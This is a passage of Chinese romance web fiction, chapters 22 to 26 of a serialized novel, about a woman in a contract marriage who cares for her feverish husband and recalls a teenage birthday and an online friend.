“清也姐,其实齐朔阳在我们部门检查素材的时候,我偷偷复制过一份。” “我把u盘放在楼下的音乐餐吧的前台了。” 许清也停下脚步,等待着电话另一头开出条件,等来等去,却等到小栗一句: “清也姐,你快去拿吧。” 电话啪的一声挂断,许清也还愣在原地。 身侧是川流的马路,雨点提早了压黑了天色,街边的路灯却还没亮起来。乳白色围栏对面的车辆排成了长队,反方向的车辆却寥寥无几。 除了身侧的车,只偶尔有几辆私家车飞速开远,划出一条长长的水线。 回过神来,她一手护着头顶的发丝,转身朝路旁的黑色越野车跑去。 许清也过肩的长发被湿冷的风吹在肩后,海马毛的浅蓝色毛衣沾了雨点,湿哒哒地变成了顺毛模样,就像收起尖刺的小刺猬。 几乎是他停稳车的一瞬间,许清也就跑到了后座车门边。 车门没有上锁,她白皙纤细的指节抓住银质的把手,轻轻一拉,就拉开了车门。 细密的雨点沿着打开的车门钻进车里,在纯黑的皮质座垫上留下一片水痕。许清也胡乱拍了拍水迹,坐上了后座。 车门关上,砰地一声隔绝了窗外淅淅沥沥的雨声,绿柑橘混合着浅淡油墨的味道侵袭在她的鼻尖。 除了芝士在宠物包里不安分地闹腾的细碎声音,车里安静地与窗外全然不同。 许清也坐在驾驶座的正后方,只能从车内的后视镜中看见男人唇角清浅的笑意。 透过清晰的镜面,就要对上男人的视线,她匆忙垂眸从包里翻出包装素简的纸巾,擦了擦座垫上溅进的雨水,又低头去仔仔细细地擦拭脚上的帆布鞋。 许清也原本还在低头叠着半湿的纸巾,察觉到车重新起步,急忙扶着前座道: “能送我去中心大厦楼下吗?” 路薄什么也没问,就像是刚才主动的寒暄只是一场错觉,只是几不可察地点了点头。 如果不是看到他改动转向灯的动作,许清也几乎要怀疑他有没有听见自己的话。 车里开了空调,不仅仅是雨,潮湿冰冷的气息也一并被隔绝在车外。暖意逐渐包裹着她,袖口被淋湿的地方贴在手腕的皮肤上,是和周身截然不同的湿冷。 他既没有问自己“视频证据”的进展,也没有解释突然的回程。 许清也说不清自己是在庆幸不必窘迫而丢脸地回答,还是失落他一如既往的寡言。 拎着湿透的袖口,手腕的肌肤短暂地离开冰冷的面料,回温了些。 她捏着湿透的纸巾,坐在驾驶座的男人却像脑袋后也安了眼睛一样,冷不丁开口道: “这里有垃圾袋。” 他白皙修长的手指随意点了点前座中间的储物箱,腕间似乎多了根看不清织纹的黑色的绳串,黑色的绳串垂落几厘米,手背上若隐若现的青筋让这种随意中多了几分说不明的性感。 许清也尴尬地嗯了一声,挪到后座中间去拿垃圾袋。 他的车上干净到过分,反而让她为自己一身潮湿的样子感到窘迫,唯独后座那个灰扑扑的登山包,让她感到一点点比较出来的“优越”。 后座中间的视野很好,她刚才一上车就认出后座的登山包是路薄那天在大巴上背的。 看来他也是刚回江城,甚至没来得及回家。 下雨天对于许清也什么都是麻烦的,但对路薄不是。 中心大厦开车并不算很远,越野车在大厦门口停下的时候,雨势跟许清也上车的时候并没有太多差别。 大厦门口不让停车,她不好意思让路薄停太久,依旧伸手护着头顶,车一停稳就推门下了车。 “今天真的谢谢你载我一程。” 许清也这会儿是发自内心地庆幸能这么早赶到,担心u盘会不会被中途截胡,她草草朝路薄挥了挥手就要往大厦边跑。 “许清也!” 嘈杂的雨声中,她忽然听见路薄喊她的名字。 犹豫两秒,想到刚才透过车内后视镜看见他比平常更苍白些的脸色,许清也还是拿包遮着雨点折返。 “怎么了?” 许清也提高了声音跑到驾驶座边。一旁有车飞速行驶而过,掀起一阵哗啦的水声。 “拿着伞。” 手上忽然被塞了一把熟悉的墨绿色的长柄伞。 许清也哭笑不得的撑开伞,抬头看着飘摇在雨丝中的伞带,感叹他还真是“长情”。 这次伞就在她手中,伞面上还沾着点黄泥的痕迹,伞带上那串已经有些磨损的墨绿绣线勾出的数字更加清晰地出现在她眼前。 “20140831” 毕竟是陪伴她几乎整个学生时代的“标记”,许清也不需要完全看清也能轻松地轻念出这串数字。 “什么?” 停在临时车道后的车打起了喇叭,路薄也不 22. 一起住 《拿错前夫哥的快递后》全本免费阅读 “雨实在是太大了。” “要不,我们送你回去吧。” 许清也一手撑着伞,一手扶着路薄的胳膊艰难地支撑着身侧男人的重量,看着不见减小的落雨道。 齐朔阳看许清也支撑得辛苦,本想帮他们抱一会儿宠物包,却被芝士压在喉底狠狠的呼噜声给吓了一跳,尴尬地摆手道: “不用了,你们赶紧……回家吧。” 他的声音在那几个字上顿了顿,再加上闪烁犹疑的眼神,许清也一看就知道他是误会了路薄跟她在同居。 她不动声色地澄清道: “那我也不跟你多客气了,我邻居他今日的确身体不太舒服,我得赶紧送他回去休息。” 听到邻居二字,齐朔阳一脸恍然大悟的样子,了然地点点头。回头看见路薄那辆车型霸道的越野车的时候,担忧地问她: “清也姐,这车你能开惯吗?” “你放心吧。” 许清也撇了一眼路薄的车,豪迈地应答。 “小齐你路上小心,改天我请你吃饭再正式道谢吧。” 感觉肩上的重量更重了,许清也无奈地看了一眼男人靠在自己肩头的脑袋,忍住推开他的冲动,跟齐朔阳挥手告别。 然而有时候太过自信的结果就是一脸逞强地被打脸。 好不容易把路薄和芝士在副驾驶安顿好,许清也回到驾驶座拉好安全带,不放心地伸出手背探了探他额头的温度。 路薄抱着宠物包靠在副驾驶座上,额上分不清是汗水还是雨水,湿透的刘海杂乱地贴在额前,半闭着眼,生病的样子倒是比平常褪去了不少尖锐的距离感。 车内比室外温暖不少,男人脸上泛着薄红,额上烫的吓人。 “怎么越来越烫了。” 许清也担忧地叹着气,就要收回放在他额上的手,却被男人一把拉住手腕。 路薄握着她的手腕,额头依旧贴在她的冰凉的手背上,偏头向窗外,似乎像撒娇的芝士般蹭了蹭她的手背,低声喃语: “凉。” 手背在他滚烫的额上多停留的几秒,许清也扒开他握在腕间的手,难得耐心地哄道: “我得开车,我们得赶快回家泡药吃才行。” “对了,你家里有退烧药吗?” 不知道是她话中的哪个字眼取悦了路薄,总之他乖乖松开了手,睁开眼把车钥匙递给了许清也,话中又恢复了清明。 “车钥匙在这,你开得惯吗?” 许清也拿过车钥匙插好,看着他车里复杂而复古的驾驶设计蹙眉。 雨刮器忙碌地工作着,她忍住心里的忐忑,冷静下来慢慢快速熟悉着各个按钮不同的作用。余光瞥见他皱着眉抬头去捏眉心的样子,强撑着给出了跟对齐朔阳一样的回答: “我可以的。” 然而不过开出两个红绿灯,许清也就打着转向灯,有惊无险地在路边停了下来。 她显然也被刚才忽然窜出来插队的车给吓了一跳,原本红润的脸颊现在也显得有些苍白。 雨天交通本就混乱,许清也自从大一那年拿了驾照,就很少有开车的机会。一来她和尹虹根本买不起车,二来没有这个需要,她也不想用许民辉的钱。 再加上路薄这越野车车型霸道,她估计不好车宽,车上还有个病人,不由自主地更紧张了。 “还是我来开吧。 男人把宠物包放到后座,雷厉风行地推开车门下了车。 短暂地休息显然让他恢复了点精神,刚才那一出不止是吓了许清也一跳,路薄的心脏也几乎停滞一瞬。 许清也尴尬地推门下车,两人从车头擦肩而过的时候,路薄忽然伸手拉她。 他冰凉的指尖擦着她手腕滑嫩的肌肤而过,最后只勾住了她颤抖的指尖。 指尖相接,许清也触电般松开了他的手。 路薄显然也没想到会拉住她的指尖,被她轻甩开的时候,还在原地愣了片刻。 “你坐副驾驶。” 划过她手腕的指尖被他藏到身后,路薄不自在地轻咳两声,不忘初衷地嘱咐道。 “为…为什么?” 许清也本来就是要去坐副驾驶的,被他刻意一提,恶趣味地想要反问一句。一出口,却先没出息地口吃起来。 路薄撑着伞绕到副驾驶,拉开车门,顿了片刻,才抿唇道: “你得看着我。” “我烧的很厉害。” 许清也把她心跳错漏的那一拍归咎于他说话的大喘气,看到他眉间疲惫的神态,乖乖坐进了副驾驶。 路薄的车由许清也来开总是觉得哪里都显得高大了些,驾驶座离刹车的距离、后视镜的弧度,甚至雨刮器的按钮都显得远了点,处处不方便。 但不得不说,这些落到路薄手里就显得如此和忖。银质而复古的设计跟他冷峻的眉眼简直气质一模一样,车内绿柑橘和着油墨的味道就像他给许清也的感觉。 车内空调的温度很高,他把沾湿的衬衫袖口卷高,露出肌肉线条流畅漂亮的手臂,动作就像是十九世纪的英国绅士般优雅矜贵。 随意拨开额前凌乱的黑发,又把挪了位置的玻璃罩玫瑰摆件摆回原位,路薄这才启动车子,重新开到回家的路上。 玫瑰摆件放在气质冷硬的越野车里显得有些矛盾,但没有这个,才不“路薄”。 许清也偷偷瞄了车头的玫瑰摆件好几眼,终于确定这就是当初她拿错的那个快递。 成品果然跟她想的一样 23. 闪耀 《拿错前夫哥的快递后》全本免费阅读 在楼下讪笑着点头的时候,许清也完全没想到尹女士是来真的。 本打算盯着他吃完退烧药再回家,她才把芝士给安顿好,转头就看见路薄半靠在米白的布艺沙发上。 男人长手长腿,显得本来就不大的沙发更显得位置有些捉襟见肘。分明已经难受到皱眉撑着额,却还要嫌弃地去卷已经被雨水沾湿的衬衫袖角。 许清也想起他在车上没回答的话,在沙发前站定问道: “你家有没有退烧药?” 沙发上的男人卷袖角的动作一滞,似乎犹豫了两秒,还是老老实实摇了摇头。 她只好叹了口气转身上楼拿药。 从冰箱里找出退烧药,翻着盒子看到距离遥远的过期日期,许清也才放心地松了口气。 客厅传来防盗门砰地一声关上的声音,尹虹刚进门就看见她拿着退烧药关上冰箱门,顺口提醒道: “一会儿充电器别忘了拿。” 许清也原本已经抓着退烧药往门口走,听到她的话还是迟疑地转身。 “妈,你不会真的让我搬下去吧?” “什么真的假的?你这孩子,”尹虹不认同地叹了口气,“小薄生着病呢,你照顾一下不是应该的吗?” “我也没说不管他…” 想到在尹虹面前撒过的恋爱一年多的谎,许清也咬着唇吞吞吐吐道。 “但我也可以安顿好他就回来休息啊。” 多余的话含在嘴里没能说出口,在尹女士不赞同的眼神下,许清也认命地闭上了嘴。 “小也,跟妈妈没有什么不好意思的。但这次你一定得搬过去照顾小薄,不仅是因为夫妻间就应该这样相互照顾。" 尹虹还当她是不好意思当着家长的面搬下去住,叹着气摆开了说给她听。 “对于人品正直的男人来说,这世界上最值得相信的不是他的爱情,而是恩情。” 许清也错愕地看过去,尹女士站在餐桌边,餐厅还没开灯,冰箱门还没关,只有冰箱里暖黄色的微弱灯光照在她身边。但尹女士认真的神色却很清晰。 “爱情是会变的,可感激不会。” “妈妈给你选的人,至少在这一点上不会再让你尝妈妈吃过的亏了。” 许清也张了张口,最终却垂下了眸,什么话也没说。 她跟路薄之前连爱情都没有过,充其量只是“合作伙伴”,哪里就需要担心这些了。 只不过她还是有良心的,对于刚刚帮过她不止一次的人,许清也还是没办法抛下不管。 “赶紧拿着药下去吧,一会儿记得跟小薄说明天早上上楼吃早饭,我给你们做好吃的啊。” 尹虹好像又在楼下小卖部买了点菜,正收拾着大小袋子里的菜往冰箱里放。 原本空荡的冰箱不知不觉间已经被食材给塞满,许清也看着尹虹忙碌的动作,忍不住上前帮把手。 “妈,就算不去住医院,你也别像以前一样不停地忙了。” “我真的很担心。” “就最后这两天,给你们做完这两天的饭,妈肯定听你的话好好休息治疗。” 尹虹把漏在抽屉外的塑料袋往里塞了塞,打断了许清也的话。这次她的语气虽然温和,许清也却知道她的倔脾气,这可不是在商量,而是通知。 “那你可得说话算话,后天我请假陪你去医院复查。” 许清也知道劝不动,楼下还有一个烧的迷迷糊糊的病号等着,只好简单捡了些护肤品就下了楼。 上楼得太匆忙,怕路薄听不见她敲门,许清也特地留了条门缝。 急匆匆推开门,入眼却是男人充满力量感的肌肉线条。 路薄站在沙发边,他身上名贵的衬衫一半随意掉在沙发上,一半还挂在他线条优美的手臂上,整整八块腹肌线条清晰地排列,衬衫下的肤色果然白到发光。 许清也没想到他看起来清瘦,倒是意外地有料。 意外一瞥,她就下意识捂着嘴闭上了眼。 只不过就算闭上了眼,刚才的匆匆一眼的画面却在脑中挥之不去。 看起来高烧还是没有褪去,他脸色依旧微红,眼神看起来有些昏沉迷离。碎发垂在额前的挡住了线条凌厉的眉,显得比平常好欺负许多,跟那一身性感的肌肉形成了强烈的反差。 终究是理智的担心占了上峰,许清也捂着眼睛尴尬地出声喊他: “路薄…你快点换好衣服,我把退烧药拿下来了。” 她捂着眼等待,感觉到路薄似乎走近了。 朝下偷瞄的余光看见他在面前站定,他身上青柑橘的味道在密闭的空间似乎也放大了侵略性,许清也的心跳克制不住地颤抖了一秒。 刚才一进门许清也就先开了暖气,现在客厅的暖气虽然充足,但毕竟天气太冷,像他刚才这样光着身体肯定还是容易着凉。 她有些局促地开口: “你怎么不回房间再换,这样容易冻……” 话还没说完,下一秒,手上的退烧药就被一股力气拽走。许清也下意识松开手睁眼,一睁眼却正面对上他紧实流畅的肌肉线条。 也许是客厅的暖气太足了,她忽然觉得有些口干舌燥,重新捂上眼睛的时候,也悄悄舔了舔唇角。 他身上蒸腾的热气有些让人无法忍受,许清也没多想就推后了一小步,谁知道磕到了门坎,整个人失去平衡地向后倒去。 手腕上挂着的袋子被人扯住,许清也反应迅速地扶住门框,才勉强稳住了身体。 路薄拉着她腕间的袋子站在门口,他额间依旧滚烫,原本的昏沉被许清也这一绊给赶走了大半。走廊钻进一阵冷风,彻底吹醒了他。 男人低头看着她手中的袋子,皱眉分辨了几秒,才迟疑地问: “你要搬下来住吗?” 许清也原本问心无愧,觉得是搬下来不过是权宜之计,加上日行好事照顾照顾他而已。被他眼神奇怪地这么问,再加上他现在衣衫不整的样子,忽然觉得有些难说出口。 偏偏这人还是一样的没眼色,语气真诚又为难地道: “我家只有一间卧室。” 许清也偏开目光,被噎得一阵沉默。 现在她还能说什么。 如果说要搬下来,岂不是变相地说要跟他住一间卧室? 沉默了片刻,走廊的风吹过许清也的脸,凉得她一哆嗦,砰地一声关上了门。 “你还是先去把衣服穿上吧。” 许清也抱着一袋子护肤品,忍着尴尬上下大量了一眼他衣衫不整地上半身。 “万一半夜又烧起来了,我可不想半夜搀着你去医院。” 女孩装做镇定的语气很完美,只可惜泛着薄红的脸颊出卖了她。 路薄垂眸看她 24. 当然值得 《拿错前夫哥的快递后》全本免费阅读 暖色的灯光勾勒着男人温柔的轮廓。 书房的门半开着,房间里只有笔尖蹭过纸页发出的细碎响声。路薄坐在桌边,神情认真地低头在笔记本上写着什么。 抬手扶了扶镜框,余光瞥见芝士不知道什么时候从房间里溜了出来,步伐优雅地沿着书架悄悄往书桌上跳。 它不安分的漂亮尾巴轻轻一扫,差点带落了桌角那本泛黄的童话书。 摇摇欲坠之际,路薄伸手捞住了掉页的书本,皱眉合上的了摊开的日记本。 从桌边的角度看去,正好能透过半开的门看见沙发上女孩睡得香甜的侧影。许清也呼吸清浅,并没有被芝士弄出的小动静惊扰。 芝士似乎知道自己做错了事,乖乖的趴在桌角,讨好似地伸出下巴让路薄挠。 放在桌角的手机被它的动作扰得亮起,路薄的目光在锁屏页那条未接电话上停住,直到亮起的屏幕再次暗下来,才伸手点开一大堆的未读消息。 一晚上没看消息,大影后的消息几乎能把他本来就没几个联系人的社交帐号完全轰炸沦陷了。 不出所料,果然是来问他私下咨询公司公关团队的事情。 直到五分钟前,还发来最后一条明显藏着火气的消息。 算了算时间,蒋女士这会儿在美国拍戏,下午三四点应该能接到他的电话,路薄拉上房门,干脆直接拨通了她的电话。 “你个小兔崽子,你跟妈妈老实说,你是不是跟许家那……” “是。” 蒋玉琳话还没说完,就被路薄坦荡到超出想象的态度给震地愣在了原地。 听起来蒋女士是还在片场,隐约还能听到她身边助理慌乱地劝阻声,要她小心有狗仔,不要表现得太情绪化。 蒋玉琳拿开听筒,直接飞给助理一个眼刀,不过还是拉着帽沿上了保姆车。 嘈杂的环境声终于趋于安静。 “你爸还说不用担心,我就说你这孩子什么时候主动关注过这些,果然是有问题。” 蒋玉琳原本只是诈一炸他,再荒唐的猜测不过是他跟许清也又谈上恋爱了,没料到路薄的坦荡不带一点缓冲的余地。 “是,我是跟许清也结婚了。” 平地一声雷,差点让蒋女士抛弃偶像包袱大吼出来。 自己肚子里出来的孩子,她还能猜不出路薄这会儿平静语气下藏着的笑意? 左右确认了车窗的确关的严严实实,蒋玉琳也没了冲动大吼的心情,消化着他这短短几个字,忽然想起来前一阵路远忽然回家住了一晚上。 早早哄着她去睡了美容觉,第二天却一大早就不见人影了。 “小远也跟着你胡闹?” 她压抑着火气问。 路薄垂眸看着手心那本泛黄的童话书,指尖的薄茧在书封上徘徊,压低声音道: “不是胡闹,妈,我是认真的。” 电话另一头彻底哑了声。 沉默半晌,蒋女士的声音忽然疲惫不少。 “你别跟我说,你爸是不会答应的。” “两年前那场订婚宴,整整半年你爸都让那些对头笑话,路氏丢不起这个脸了。” 话到这里,她就啪地一声掐断了电话。 路薄靠在椅边,芝士一直乖乖趴在桌边,现在却忽然靠近了去蹭路薄的袖角。 “安慰我?”他放下童话书,眸色温柔地抚摸着芝士柔顺漂亮的毛发。 书页里夹着的叶脉书签滑落出一角,透明的叶脉被男人修长骨感的指尖捏着放到灯下。柔和的光线透过菩提叶的纹路,在原木色的桌上映出枝节错杂缠绕的线条。 路薄抽出铅笔,从缠绕的光线中间出发,试图找到一条绕出“叶脉迷宫”的办法。 遇到无法跨越的壁垒,干脆直接耍赖地打了个叉,轻笑着横穿过黑暗的细线饶了出来。 “他们答不答应,什么时候动摇过我?” ——— 暴雨天过去,又是久违的好天气。 许清也抱着抱枕窝在沙发上,温暖的阳光透过窗户照在茶几前,有点刺眼的光线扰得她皱着眉捂脸,慢吞吞地磨蹭着坐起来。 她满足地伸了个懒腰,一睁开眼就看到阳台上飘摇的男士衬衫,猛地彻底清醒过来。 他这是洁癖到生着病,半夜还要爬起来洗衬衫? 没等她仔细分辨出阳台上的那间衬衫是不是他昨天穿的那件,路薄就围着印满卡通猫咪的围裙从厨房走出来。 他打开冰箱门拿鸡蛋,转头看见她呆愣的神色,挑眉举着鸡蛋问: “早餐煎鸡蛋饼,可以吗?” 晨光里男人围着围裙举着鸡蛋的样子太过日常,没想到路薄起的这么早,健康的作息让许清也不由地想起她刚毕业那两年,时不时跟迟枣枣被酒精诱惑得一觉到大中午的周末时光。 那瓶被他拒之门外的暖居礼物忽然显得不实用起来。 整间屋子都没找到一点酒精的元素,看来他是真的不喝酒。难怪能态度那么坚决地拒绝她那瓶好酒。 见她不回答,路薄随手捡了两颗鸡蛋,就要关上冰箱门。 “你等等!” 许清也忽然把抱枕放下,出声拦住他关门的动作。 “我昨天忘了说,我妈让我们今天上楼吃早饭。” 她不自在地解开皮筋,一边梳理着睡乱了的头发,一边找着被踢到桌角的拖鞋。 狼狈也顾及不了了,许清也自暴自弃地想,反正她在他面前狼狈也不是一次两次了。 重要的是得拉着他上楼吃早饭。 可惜许清也醒的太晚,两人紧赶慢赶,最后还是没来及吃完早饭。 尹虹一边往保温盒里塞手工烧卖,一边叹着气埋怨许清也: “上班这么多年的人了,怎么还能忘了设闹铃。来不及吃早饭,还连累人家小薄一块跟你饿。” 许清也扶着盒子帮忙打包,她又没办法告诉尹女士她实际上正在休假中,只好偷偷扁着嘴拖路薄下水。 “我也没拖延多少时间,再说了,也不是我一个人起晚了呀。” 以路薄拿着鸡蛋问她的时间点,等到上班的点,早餐估计才出锅呢。 听到许清也小声的辩解,尹虹拍开她偷偷伸向炸春卷的手,招呼站在她身后一个字也不辩解的路薄道: “小薄,趁打包的功 25. 她喜欢的男孩 《拿错前夫哥的快递后》全本免费阅读 绿灯亮起,排在后面的车辆不耐烦地打着喇叭。 许清也被喇叭声惊得回过神来,才意识到自己兴奋之下还抓着路薄修长白皙的指节不放。 飞快地松开了握着他指尖的手,垂眸佯装冷静地继续翻着评论。 车很快开动,许清也表情平静,余光却忍不住悄悄从屏幕边缘往驾驶座的方向飘。 男人的侧影映在玻璃上,黑色大衣里的高领毛衣颜色温柔,柔和了他棱角分明的线条。 昨天在她手中宽大而难掌握的复古方向盘在他手中好像显得游刃有余,高挺的鼻梁上架着的金丝眼镜看起来很熟悉,她忍不住想要仔细辨认。 许清也很少看他戴眼镜,好像只在开车看文献之类认真的时刻,他才会带上眼镜。 车辆向左转弯,男人偏头去看后视镜。 被喇叭声打断了问句,路薄就一直沉默着,许清也捕捉不到他的表情,猜不到他有没有听清她的问句。 她抿唇松了口气,为刚才那句没有得到回音的冲动问句。 偷偷飘向驾驶座的余光刚要收回,他清冷平静的声音就身侧传来: “我不该留吗?” 路薄的态度平静地好像一潭月光下的静波,许清也读出他字里行间理所当然的疑惑,目光惊讶地抬头看他。 问出那句话只是一时冲动,虽然那些巧合的帮助,他总能用再合理不过的话揭过去,但许清也也不是傻子。 哪些是巧合,哪些是真心,她能看得清楚。 再次无意间看见伞带上那片模糊的绣线的时候,对迟枣枣曾经一笑而过的论断,忽然强烈地回响在她耳边。 ——“他该不会是,暗恋你吧?” 握在掌心的屏幕不知道什么时候熄灭了,许清也望着男人鸦黑的长睫下那双狗狗眼。 可能是考察的日子都没有睡好,加上刚刚高烧过一场,他眼尾还带着小片的薄红,淡淡的血丝还没全然褪净。 从这个角度看,她才发现他直挺的鼻侧还有一枚藏在镜撑下的小痣。 “许小姐。”他忽然这么喊她,许清也差点没反应过来。 “许氏可还没赔我西装钱,你应该不会赖账吧?” 他终于转过视线,唇角的笑意却看得许清也恨得咬紧了牙关。 不知道路薄有没有猜出她刚才试探的想法,一阵羞窘从脚尖烧到头顶,许清也既为自己鲁莽的猜测感到丢脸,又为此刻的囊中羞涩而烦恼。也许隐隐还有些低不下骄傲的烦躁。 况且许路两家订婚宴,男主角穿的西装,怎么想都不会是便宜货。 “我当然不会。” 她咬着牙故作轻松道: “那件西装多少你直说好了,我回头会转给你的。” “就转这个数吧。” 路薄调转方向盘,抽出空用伸出他骨节分明的食指敲了敲两人中间的空调口挡板,把燥热的暖风调向朝下。 许清也看清他孤零零伸出的手指,松了口气道: “一万而已,你不用帮我抹零头的。” “详细数字发我,等我下个月的工资发了,马上就会转给你的。” 虽然也疑惑他那天竟然穿了一件不算太贵重的西装来,不过这总归对她来说算是好事。许清也好心情地摸了摸保温袋,已经把刚才的窘迫忘到了脑后。 只可惜这样的好心情维持不到两秒,就被男人清晰的声线打断。 “是十万。” 路薄疑惑地挑眉看她:“真的不用抹零吗?” 许清也还弯着的唇角僵在原地。好汉不吃眼前亏,她撇开视线看向车窗外,半天才小声地道: “要不还是分期吧?” 好像听见了男人短促的轻笑,她咬着唇问: “不会分很久的,你难道还怕我跑路吗?” 路薄随手抵着方向盘诚实地摇了摇头,意有所指地看了眼她脚边的旧雨伞道: “现在不怕了。” 只是简短的回答她的话,许清也却忍不住去想他那句“现在”的所指。 目光随着他的视线看到脚边的雨伞,她伸手捡起伞柄,摸着雨点还未干的伞带。忽然皱眉,直直看向身旁专心开车的男人。 “你真的这么喜欢这把伞吗?” 她几乎每次在雨天碰见路薄,他都带着这把伞,甚至上次还给她的那把也和这把长得一模一样。许清也左看右看,也没看出一把纯色雨伞有什么特别精致好看的。 何况这把伞的伞柄都已经旧得有点变色了。 “一把‘证据’而已,好像每次下雨都见你带着它。” 许清也语气只是单纯的疑惑,可惜余光却错过了男人扶在方向盘上僵硬了一瞬的手。 “伞不就是拿来遮雨的吗。” 他回答得敷衍,许清也却全无怀疑地点了点头。 老实说,她其实也害怕他真的忽然脱口而出告白。 对于这段各取所需的婚姻,她好像总是接受着他的帮助。不过这没什么,利益关系,许清也觉得总有一天会还他这个情的。 但如果牵扯上感情,她没有信心还得起,也害怕交付信任和真心。 这样的回答才像他,也最有利于他们继续维持的眼前的关系。 可能路薄原本就是个“长情”的人,她想。伞也好、书签、眼镜也罢,不喜欢常换罢了。 她没再多问,路薄也扶着方向盘沉默着。 车内忽然陷入安静。 “那个,”许清也后知后觉地看见熟悉的路牌,才发现这是开去出版社楼下的路,“我现在在休假,你随便把我在路边放下来就行,别耽误你上班迟到了。” “在路边放你下来,你要去哪?” 这段路是单行道,路薄还是按照原来的路线走着,偏头问道。 “我随便找个咖啡厅把早饭吃了,然后坐到下班再回去。” 许清也以为他是担心拎在自己手里的早饭,从大保温袋里套娃似地掏出另一个小保温袋,得意道: “我早就分装好了,这个我带走。” “这个是你的。”她往前坐了坐,把怀里那个大保温袋放在身侧。 “那就去中心大厦楼下的咖啡厅吧。” 路薄叹了口气。 许清也敏锐地嗅到他的无奈,她不习惯麻烦别人,连忙拒绝道: “路边停车就行,我知道这条街上就有一家不错的咖啡店。” 男人扶着方向盘转弯的手顿了顿,早晨刺眼的阳光从前窗玻璃透进来,他随手放下遮阳板,简单的动作随心所欲中却带着骨子里的矜贵。 遮阳板挡住一半光线,只留下半截阳光勾勒着他线条完美的下颌。 许清也侧头看见他轻轻颔首道: “也行。” < 26. 彩虹云 《拿错前夫哥的快递后》全本免费阅读 “叮零零——” 三中的下课铃一直是最最古老的那一种,虽然刺耳,但胜在的确大声。 黑板上画满了复杂的几何图和数学符号,老周刚把这道大题讲到兴头上,就被刺耳的下课铃给扫了兴。 不过他对付学校的下课铃算是经验十足了,一个大跨步到讲台边上,就动作熟练地扭掉了教室里广播的声音旋钮。 “班长,你关一下门。” 坐在门边的班长迅速放下手里转着的笔,起身去关门。 走廊上的广播没办法扭掉,饭点鼎沸的人声可比老土的下课铃难熬多了。 尤其是在老周拖堂的时候。 坐在中排靠窗的女生没好气地关上了窗户,把广播里刚刚响起前奏的流行歌连同窗外嘈杂的人声一起关在了外面。 许清也正在悄悄把桌上的笔收进笔袋,被身旁啪的一声窗户响吓了一跳,拍了拍同座的女孩的胳膊劝道: “最后一道大题了,反正也拖不了多久,蔓蔓你就别生气了。” 被她拍胳膊的女孩叫做吴思蔓,许清也虽然才跟她做了两个月的同桌,但也知道她下课跑去食堂那惊人的速度。 眼睁睁看着窗户外面这么多人抢先一步了,吴思蔓最大的两个爱好之一就是吃,当然每次都忍不住着急上火。 “哎呀,我不是为了去食堂。” 吴思蔓叹了口气,也开始放轻动作偷偷收起笔来。 “我前两天好不容易淘到一台物超所值的ccd,今天约了人家面交。” 许清也听得出来她话里的兴奋,附和地点了点头。 吴思蔓玩摄影都快成半个行家了,她这么说,那台ccd肯定是真的超值。 “要是我去晚了,人家要加价,那都得怪老周。” 她边说着,眉毛几乎都要打成了蝴蝶结。 一个没注意,没拿稳的笔从桌角咕噜噜滚下去,吴思蔓伸出去试图挽回的手不仅没把笔给救回来,反倒是把许清也的水杯也给带得摔落在地。 原本在黑板上奋笔疾书的老周突然顿住手回头,瞄了一眼在走道中间打转的水杯,没好气地哼了几声,幽幽道: “看来你们大家都已经归心似箭了啊。” 底下原本渐渐大起来的稀稀嗦嗦声又恢复了安静,直到老周继续回过头去讲题,才有人试探着继续偷偷收拾着书包。 许清也也跟着收着错题本。 坐在许清也前面的男生把水杯捡了起来,回头悄悄递到两个女孩桌子中间。 “对不起啊小也。” 吴思蔓放低声音的道歉,看她居然无视老周的冷嘲热讽继续收拾东西,好奇道: “不过你今天是有什么事吗,怎么也这么着急?” 许清也一向是模范乖学生,像这样耐不住拖堂的数学课可不是她的风格。 被吴思蔓问住,许清也不好意思地道: “我今天过生日,晚自习我爸已经帮我请假了,他说要给我办生日宴庆祝一下。” “生日宴?” 吴思蔓看过两次来接许清也下晚自习的豪车,隐隐知道她家境很好,直接顺着这三个字联想到小说里光酬交错的豪门生日宴。 想到晚上又是老周的晚自习,肯定免不了再讲上一小时,她羡慕地感叹道: “真好,生日快乐啊小也。” “我不知道今天是你生日,回头我拿了新相机,一定给你拍一张美美的照片补上。” 吴思蔓为人直爽,正因为她这样的性格,许清也才不至于为自己夸张的请假理由感到太过不好意思。 “那说定了,我明天给你带芝士小蛋糕。” 许清也从小最喜欢的就是芝士小蛋糕,她知道许民辉给她办生日宴肯定少不了这个,俏皮地朝吴思蔓眨了眨眼。 末了,还不忘叮嘱吴思蔓好好记笔记,回头把笔记借给她看看。 虽然嘴上觉得爸爸非要办生日宴有点小题大做了,但许清也还是忍不住隐隐期待着,嘴角甜甜的笑就没放下过。 早早收好书包蓄势待发,老周刚一丢下粉笔说下课,许清也就跟着第一波冲出教室的同学们,一路从后门跑下了楼。 下课时间晚了点,家里的车应该已经在校门口等了一阵子了。 许清也背着书包一口气跑出校门,一眼认出了自家的车牌号。 她喘着粗气推开车门,才发现驾驶座上坐的不是司机叔叔,而是许民辉。 “小乖,怎么跑的那么着急。爸爸不是说等你了吗。” 后座上放着一束颜色耀眼的向日葵,许清也合上车门把花抱在怀里,就听见副驾驶传来女人无奈中带着笑意的声音。 “你爸非要买了带过来。” 许清也捧着被雏菊簇拥着的向日葵花束,翘着精致小巧的下巴道: “还是我爸懂我,谢谢老爸!” 许民辉转着方向盘,受宠若惊的抬眉笑道:“这花可是你妈帮你选的,老爸不敢当啊。” 一家人随意笑闹几句,车开出了拥挤的学校路段,终于提起起速往办生日宴的酒店开去。 许清也抱着花靠在后座上,偷偷瞟了两眼前座的爸妈,轻手轻脚地去拿中央储物箱里智能手机。 尹虹本来就不太拘着她用智能手机,今天又是她的生日,从中央后视镜当中瞥见了也只是弯唇笑得温柔。 许清也一拿到手机就迫不及待的点开了桌面上那个图标简洁的软件。 一颗湛蓝色的星球孤零零地在纯白色的图标中间,看得出来软件制作的很粗糙,甚至功能也简单到不行,但一年前许清也一眼就喜欢上了这个软件。 刚一登录上账号,私信框就无声地跳出同一个账号发来的各种云彩的照片。 紧随着最后一张照片的还有一句简短的消息。 【摘星星的国王:这种云你肯定没见过。】 那家伙说话还是臭屁得很,许清也撇了撇嘴,仔细点开那几张图片。 指尖在最后一张照片上停下来: 大片的云层叠积在蔚蓝的晴空中,整片蔚蓝的天空中几乎只有这一片巨大的云朵,烈阳藏在它身后,云边还露出半道绚丽的彩虹。像是精灵架在云层间的光桥。 照片里露出来的一角建筑物风格独特,不像是国内的建筑。 许清也没矫情,直接发消息问道: 【grayrose:这云的名字叫什么?看建筑应该不是国内拍的?】 对面几乎是秒回道: 【bingo!】 